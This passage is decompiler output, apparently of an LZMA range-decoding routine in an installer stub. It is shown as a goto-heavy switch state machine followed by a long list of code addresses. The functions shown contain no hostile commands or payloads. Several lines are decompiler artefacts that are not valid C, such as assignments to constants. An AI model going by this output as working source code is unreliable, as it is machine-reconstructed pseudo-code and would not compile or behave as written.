												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												goto L0;
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t258 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t258;
												0 | _t258 = _t258 + _t258 + 9;
												 *(__ebp - 0x38) = _t258 + _t258 + 9;
												goto L75;
											case 0xa:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xb;
													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x28);
												goto L88;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												L88:
												__ecx =  *(__ebp - 0x2c);
												 *(__ebp - 0x2c) = __eax;
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												L89:
												__eax =  *(__ebp - 4);
												 *(__ebp - 0x80) = 0x15;
												__eax =  *(__ebp - 4) + 0xa68;
												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
												goto L68;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												L68:
												_t614 =  *(_t621 - 0x58);
												 *(_t621 - 0x84) = 0x12;
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t621 - 0x88) = _t542;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t621 - 0x88) = _t542;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L79;
											case 0x1b:
												L75:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t274 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t274;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t283 = __ebp - 0x64;
												 *_t283 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t283;
												 *( *(__ebp - 0x68)) = __cl;
												L79:
												 *(__ebp - 0x14) = __edx;
												goto L80;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L80:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t544 = _t543 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406473
0x00406473
0x00406477
0x00406498
0x0040649f
0x004064a5
0x004064ab
0x004064bd
0x004064c3
0x004064c8
0x00000000
0x00406479
0x0040647f
0x00406840
0x00406840
0x00406840
0x00406843
0x00406843
0x00406843
0x00406849
0x0040684f
0x00406855
0x0040686f
0x00406872
0x00406878
0x00406883
0x00406885
0x00406857
0x00406857
0x00406866
0x0040686a
0x0040686a
0x0040688f
0x00000000
0x00000000
0x00406891
0x00406895
0x00406a44
0x00406a5a
0x00406a62
0x00406a69
0x00406a6b
0x00406a72
0x00406a76
0x00406a76
0x004068a1
0x004068a8
0x004068b0
0x004068b3
0x004068b6
0x004068b6
0x004068bc
0x004068bc
0x00406058
0x00406058
0x00406058
0x00406061
0x00000000
0x00000000
0x00406067
0x00000000
0x00406072
0x00000000
0x00000000
0x0040607b
0x0040607e
0x00406081
0x00406085
0x00000000
0x00000000
0x0040608b
0x0040608e
0x00406090
0x00406091
0x00406094
0x00406096
0x00406097
0x00406099
0x0040609c
0x004060a1
0x004060a6
0x004060af
0x004060c2
0x004060c5
0x004060d1
0x004060f9
0x004060fb
0x00406109
0x00406109
0x0040610d
0x00000000
0x00000000
0x00000000
0x00000000
0x004060fd
0x004060fd
0x00406100
0x00406101
0x00406101
0x00000000
0x004060fd
0x004060d7
0x004060dc
0x004060dc
0x004060e5
0x004060ed
0x004060f0
0x00000000
0x004060f6
0x004060f6
0x00000000
0x004060f6
0x00000000
0x00406113
0x00406113
0x00406117
0x004069c3
0x00000000
0x004069c3
0x00406120
0x00406130
0x00406133
0x00406136
0x00406136
0x00406136
0x00406139
0x0040613d
0x00000000
0x00000000
0x0040613f
0x00406145
0x0040616f
0x00406175
0x0040617c
0x00000000
0x0040617c
0x0040614b
0x0040614e
0x00406153
0x00406153
0x0040615e
0x00406166
0x00406169
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061ae
0x004061b4
0x004061b7
0x004061c4
0x004061cc
0x00000000
0x00000000
0x00406183
0x00406183
0x00406187
0x004069d2
0x00000000
0x004069d2
0x00406193
0x0040619e
0x0040619e
0x0040619e
0x004061a1
0x004061a4
0x004061a7
0x004061ac
0x00000000
0x00000000
0x00000000
0x00000000
0x00406843
0x00406843
0x00406849
0x0040684f
0x00406855
0x0040686f
0x00406872
0x00406878
0x00406883
0x00406885
0x00406857
0x00406857
0x00406866
0x0040686a
0x0040686a
0x0040688f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061d4
0x004061d6
0x004061d9
0x0040624a
0x0040624d
0x00406250
0x00406257
0x00406261
0x00406840
0x00406840
0x00000000
0x00406840
0x004061db
0x004061df
0x004061e2
0x004061e4
0x004061e7
0x004061ea
0x004061ec
0x004061ef
0x004061f1
0x004061f6
0x004061f9
0x004061fc
0x00406200
0x00406207
0x0040620a
0x00406211
0x00406215
0x0040621d
0x0040621d
0x0040621d
0x00406217
0x00406217
0x00406217
0x0040620c
0x0040620c
0x0040620c
0x00406221
0x00406224
0x00406242
0x00406244
0x00000000
0x00406226
0x00406226
0x00406229
0x0040622c
0x0040622f
0x00406231
0x00406231
0x00406231
0x00406234
0x00406237
0x00406239
0x0040623a
0x0040623d
0x00000000
0x0040623d
0x00000000
0x00000000
0x00000000
0x004064dd
